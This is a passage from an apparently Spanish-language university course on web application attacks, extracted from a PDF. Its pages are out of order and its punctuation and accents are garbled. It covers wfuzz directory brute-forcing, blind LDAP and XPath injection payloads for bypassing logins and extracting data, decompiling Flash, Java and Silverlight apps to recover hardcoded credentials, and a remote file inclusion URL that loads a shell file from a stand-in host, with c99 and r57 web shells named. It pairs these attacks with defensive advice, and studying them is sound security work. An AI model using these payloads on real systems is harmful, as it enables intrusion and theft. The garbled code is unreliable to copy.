texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 46: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

